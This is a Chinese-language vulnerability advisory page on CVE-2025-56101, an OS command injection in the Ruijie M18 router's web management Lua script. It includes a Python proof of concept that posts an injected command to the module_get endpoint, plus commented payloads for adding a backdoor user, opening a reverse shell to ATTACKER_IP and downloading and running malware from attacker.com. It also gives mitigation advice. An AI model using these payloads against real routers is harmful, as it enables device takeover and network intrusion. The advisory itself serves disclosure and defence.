IPBUF安全漏洞报告
English
CVE-2025-56101 CVSS 8.8 高危

CVE-2025-56101 锐捷M18路由器OS命令注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-56101
漏洞类型
OS命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ruijie M18 EW_3.0(1)B11P226_M18_10223116

相关标签

OS命令注入远程代码执行RuijieM18路由器CVE-2025-56101高危漏洞Web漏洞网络设备漏洞Lua脚本漏洞路由器漏洞

漏洞概述

CVE-2025-56101是锐捷网络( Ruijie)M18路由器中存在的一个严重的操作系统命令注入漏洞。该漏洞存在于路由器的Web管理界面中,具体位于/usr/local/lua/dev_sta/networkConnect.lua文件的module_get功能处。攻击者可以通过构造恶意的POST请求,在未经授权的情况下在受影响设备上执行任意系统命令。由于该漏洞的CVSS评分达到8.8分,属于高危漏洞,且攻击复杂度低、权限要求低(只需低权限用户),对使用该设备的组织和个人构成严重安全威胁。攻击者成功利用此漏洞可以完全控制路由器设备,窃取网络流量、植入后门或进一步横向移动到内网其他系统。此漏洞于2025年12月11日公开披露,建议受影响用户立即采取修复措施。

技术细节

该漏洞为典型的操作系统命令注入(OS Command Injection)漏洞,存在于锐捷M18路由器的Lua脚本文件中。漏洞位置在/usr/local/lua/dev_sta/networkConnect.lua的module_get函数。当路由器处理用户提交的POST请求时,该函数未对用户输入进行充分的过滤和验证,直接将用户可控的参数拼接到系统命令中执行。攻击者可以在POST请求的参数中注入分号、管道符等Shell命令分隔符,后跟恶意系统命令,如添加管理员账户、下载并执行恶意程序等。由于路由器通常以root权限运行,攻击者可以完全控制设备。攻击者需要构造特定的HTTP POST请求,目标URL指向管理接口的module_get端点,通过在请求体中注入恶意命令来实现远程代码执行。整个攻击过程不需要复杂的条件,攻击者只需能够访问路由器的Web管理界面或通过其他途径发送HTTP请求即可。

攻击链分析

STEP 1
步骤1
攻击者发现或扫描到暴露在网络中的锐捷M18路由器管理界面,通常使用默认端口80或443
STEP 2
步骤2
攻击者构造包含恶意OS命令的POST请求,目标URL指向/cgi-bin/luci/module_get端点
STEP 3
步骤3
在POST请求的参数中注入Shell命令分隔符(如分号、管道符)和恶意系统命令
STEP 4
步骤4
路由器Web服务接收请求后,networkConnect.lua中的module_get函数未进行输入过滤,直接将用户输入拼接到系统命令中执行
STEP 5
步骤5
恶意命令以root权限在路由器上执行,攻击者获得完全控制权,可执行任意操作如添加后门账户、植入恶意程序或窃取网络数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-56101 PoC - Ruijie M18 OS Command Injection # Target: Ruijie M18 Router (EW_3.0(1)B11P226_M18_10223116) # Vulnerability: OS Command Injection in /usr/local/lua/dev_sta/networkConnect.lua target_ip = "192.168.1.1" # Router IP address target_port = 80 url = f"http://{target_ip}:{target_port}/cgi-bin/luci/module_get" # Payload: Inject OS command to create a test file # Attacker can replace 'touch /tmp/pwned' with any malicious command payload = "; touch /tmp/pwned #" data = { "module": "networkConnect", "action": "connect", "param": payload } try: print(f"[*] Sending malicious POST request to {url}") print(f"[*] Payload: {payload}") response = requests.post(url, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:500]}") if response.status_code == 200: print("[+] PoC executed successfully!") print("[+] Command should have been executed on target device") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # More advanced payload examples: # Add admin user: "; useradd -p $(openssl passwd -1 password) hacker #" # Reverse shell: "; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 #" # Download and execute: "; wget http://attacker.com/malware -O /tmp/m && chmod +x /tmp/m && /tmp/m #"

影响范围

Ruijie M18 EW_3.0(1)B11P226_M18_10223116

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)立即禁用路由器的远程Web管理功能,仅保留本地局域网管理;2)通过防火墙规则限制对路由器管理端口的访问,仅允许受信任的IP地址访问;3)定期检查路由器是否存在异常账户或配置变更;4)监控网络流量,及时发现可疑的命令注入行为;5)考虑使用VPN或零信任访问方案替代直接暴露管理界面;6)如果业务允许,考虑临时更换为不受影响的其他品牌路由器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表